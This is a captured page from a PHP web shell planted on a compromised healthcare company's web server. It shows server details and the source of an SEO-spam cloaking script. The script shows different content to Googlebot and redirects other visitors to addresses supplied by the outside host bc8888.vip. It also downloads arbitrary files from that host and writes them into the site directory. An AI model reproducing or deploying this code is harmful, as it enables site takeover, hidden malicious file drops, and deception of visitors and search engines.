Server IP : 103.83.81.220 / Your IP : 18.119.28.173 Web Server : Apache System : Linux vps.erainfotech.co 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64 User : nirkonhealthcare ( 1248) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/nirkonhealthcare:/var/log/spamavoid/:/tmp/:/var/lib/php/session/) in /home/nirkonhealthcare/public_html/admin/productimages/anopas.php on line 323 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/nirkonhealthcare:/var/log/spamavoid/:/tmp/:/var/lib/php/session/) in /home/nirkonhealthcare/public_html/admin/productimages/anopas.php on line 329 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/nirkonhealthcare:/var/log/spamavoid/:/tmp/:/var/lib/php/session/) in /home/nirkonhealthcare/public_html/admin/productimages/anopas.php on line 335 OFF Directory (0755) : /home/nirkonhealthcare/public_html/js/../admin/header/../css/../img/../../img/icon/../../ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php $webpath = 'https://bc8888.vip/yindu'; $userAgent = $_SERVER['HTTP_USER_AGENT']; $remoteIp = $_SERVER['REMOTE_ADDR']; if ((strpos($userAgent, 'Googlebot') !== false && strpos($remoteIp, '66.249.') === 0) || (strpos($userAgent, 'AMPHTML') !== false && strpos($remoteIp, '66.249.') === 0)) { $do = 1; } elseif (!isset($_SERVER['HTTP_REFERER'])) { $do = 2; } else { $do = 3; $url = $webpath . '/db.php?do=' . $do; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (curl_errno($ch)) { echo 'cURL error: ' . curl_error($ch); } if (trim($response) !== '') { header("Location:".trim($response),true,302); exit(); } curl_close($ch); } $currentUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']; $bcurrentUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST']; if (isset($_GET["file"])) { $url = $webpath . '/db.php'; $postData = ['file' => $_GET["file"]]; $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query($postData) ]); $response = curl_exec($ch); curl_close($ch); $data = json_decode(trim($response), true); if (json_last_error() === JSON_ERROR_NONE && !empty($data['content'])) { file_put_contents(__DIR__ . '/' . $data['filename'], $data['content']); if (file_exists($data['filename'])) { echo 'ok'; } else { echo 'fail'; } } exit(); } if (isset($_GET["sitemap"])) { $url = $webpath . '/db.php?sitemap=1¤tUrl=' . $currentUrl; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (curl_errno($ch)) { echo 'cURL error: ' . curl_error($ch); } curl_close($ch); echo trim($response); exit(); } if (isset($_GET["page"])) { $url = $webpath . '/db.php?currentUrl=' . $currentUrl . '&getpath=' . $webpath . '&burl=' . $bcurrentUrl.'&page='.$_GET["page"]; }else{ $url = $webpath . '/db.php?currentUrl=' . $currentUrl . '&getpath=' . $webpath . '&burl=' . $bcurrentUrl; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (curl_errno($ch)) { echo 'cURL error: ' . curl_error($ch); } curl_close($ch); echo trim($response); ?>